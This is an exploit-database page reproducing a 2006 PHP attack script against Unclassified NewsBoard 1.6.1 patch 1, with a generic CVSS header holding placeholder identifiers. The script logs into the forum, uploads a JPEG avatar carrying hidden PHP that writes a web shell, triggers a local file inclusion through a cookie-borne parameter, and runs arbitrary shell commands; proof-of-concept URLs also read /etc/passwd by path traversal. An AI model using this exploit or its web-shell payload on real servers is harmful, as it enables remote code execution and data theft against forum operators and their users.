Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitrary local inclusion
CVE
Category
Price
Severity
CVE-2021-xxx
CWE-XX
$500
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2006-05-23
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006050096 #!/usr/bin/php -q -d short_open_tag=on
<?
echo "Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitraryrn";
echo "local inclusionrn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrnrn";
echo "works with register_globals = On & magic_quotes_gpc = Offrnrn";
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to UNBrn";
echo "cmd: a shell commandrn";
echo "user/pass: you need a valid user account to upload filesrn";
echo "Options:rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /unb/ your_username password cat ./../board.conf.phprn";
echo "php ".$argv[0]." localhost /unb/ your_username password ls -la -p81rn";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80rnrn";
die;
}
/* software site: http://newsboard.unclassified.de/
description: "The Unclassified NewsBoard (short UNB) is an open-source,
PHP-based internet bulletin board system"
vulnerable code in unb_lib/abbc.conf.php at lines 635-641:
...
// Smiley Definitions
if ($ABBC['Config']['smileset'])
{
$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/';
$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/';
@include($ABBC['Config']['smilepath'] . 'config.php');
}
...
$ABBC['Config']['smileset'] var is not initialized before to be used to include
files. You cannot have access to this code directly but in unb_lib/abbc.css.php
at line 16 we have:
...
require('abbc.conf.php');
...
this script is not protected by the unb_lib folder .htaccess file:
# Don't allow direct PHP requests in this directory
<Files *.inc.php>
Order allow,deny
Deny from all
</Files>
<Files *.lib.php>
Order allow,deny
Deny from all
</Files>
so, if register_globals = On & magic_quotes_gpc = Off, you can include files
from local resources, poc:
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../..
/../../../../../../../etc/passwd%00
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../..
/upload/avatar_[user_id].jpeg%00&cmd=ls%20-la
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../..
/upload/photo_[user_id].jpeg%00&cmd=ls%20-la
this script try to include an avatar or photo with malicious php code
inside, you need a valid account to upload files
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$cmd="";$port=80;$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "step 0 -> check if suntzu.php is already installed...rn";
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"56789"))
{
echo "Exploit succeeded...";
$temp=explode("56789",$html);
die("rn".$temp[1]."rn");
}
echo "step 1 -> login...rn";
$data ="LoginName=".urlencode(trim($username));
$data.="&LoginPassword=".urlencode(trim($pass));
$packet="POST ".$p."forum.php?req=setuser&module=main HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
$temp2=explode(' ',$temp[2]);
$cookie.=" ".$temp2[0];
echo 'Your cookie: '.$cookie."rn";
$temp=explode("=",$cookie);
$temp2=explode("+",$temp[2]);
$id=$temp2[0];
echo "User Id -> ".$id."rn";
echo "step 2 -> upload a malicious avatar with php code inside...rn";
$shell=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).ch
r(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).ch
r(0x70).
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).ch
r(0x22).
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).ch
r(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).ch
r(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).ch
r(0x73).
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).ch
r(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).ch
r(0x6f).
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).ch
r(0x74).
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x73).
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).ch
r(0x5f).
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).ch
r(0x29).
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).ch
r(0x74).
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).ch
r(0x71).
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).ch
r(0x70).
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).ch
r(0x24).
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).ch
r(0x5b).
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).ch
r(0x72).
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).ch
r(0x65).
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).ch
r(0x4f).
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).ch
r(0x5d).
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).ch
r(0x20).
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).ch
r(0x61).
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).ch
r(0x5c).
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).ch
r(0x45).
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x65).
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).ch
r(0x38).
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).ch
r(0x0d).
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).ch
r(0x28).
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x63).
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).ch
r(0x75).
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).ch
r(0x70).
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).ch
r(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x08).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).ch
r(0x00).
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).ch
r(0x03).
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).ch
r(0x3f).
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).ch
r(0x00);
/*
this image has this code inside as EXIF metadata content
<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo 56789;passthru($_COOKIE[cmd]);echo 56789;?>");
fclose($fp);
chmod("suntzu.php",777);
?>
*/
$data='-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="action"
edit
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="id"
'.$id.'
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="cat"
postoptions
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="Signature"
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="avatar"
1
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="avatarfile"; filename="suntzu.jpeg"
Content-Type: image/pjpeg
'.$shell.'
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="avatarurl"
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="photofile"; filename="suntzoi.jpeg"
Content-Type: image/pjpeg
'.$shell.'
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="photourl"
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="photo"
1
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="Save"
Save
-----------------------------7d614f2d12043e--
';
$packet ="POST ".$p."forum.php?req=cp HTTP/1.0rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d614f2d12043ern";
$packet.="Host: ".$host."rn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Keep-Alivern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: ".$cookie."rnrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
echo "step 3 -> try to include avatar or photo...rn";
$xpl=array(
urlencode("../../upload/avatar_".$id.".jpeg".chr(0x00)),
urlencode("../../upload/photo_".$id.".jpeg".chr(0x00))
);
for ($i=0; $i<=count($xpl)-1; $i++)
{
$packet ="GET ".$p."unb_lib/abbc.css.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: ABBC[Config][smileset]=".$xpl[$i]."; rn"; //pass evil var through cookies
$packet.="Connection: Closernrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
}
echo "step 4 -> Launch commands...rn";
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"56789"))
{
echo "Exploit succeeded...";
$temp=explode("56789",$html);
die("rn".$temp[1]."rn");
}
//if you are here...
echo "Exploit failed...";
?>
original url:
http://retrogod.altervista.org/unb_161p1_incl_xpl.html
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only.Terms of Use and Privacy Policy and Impressum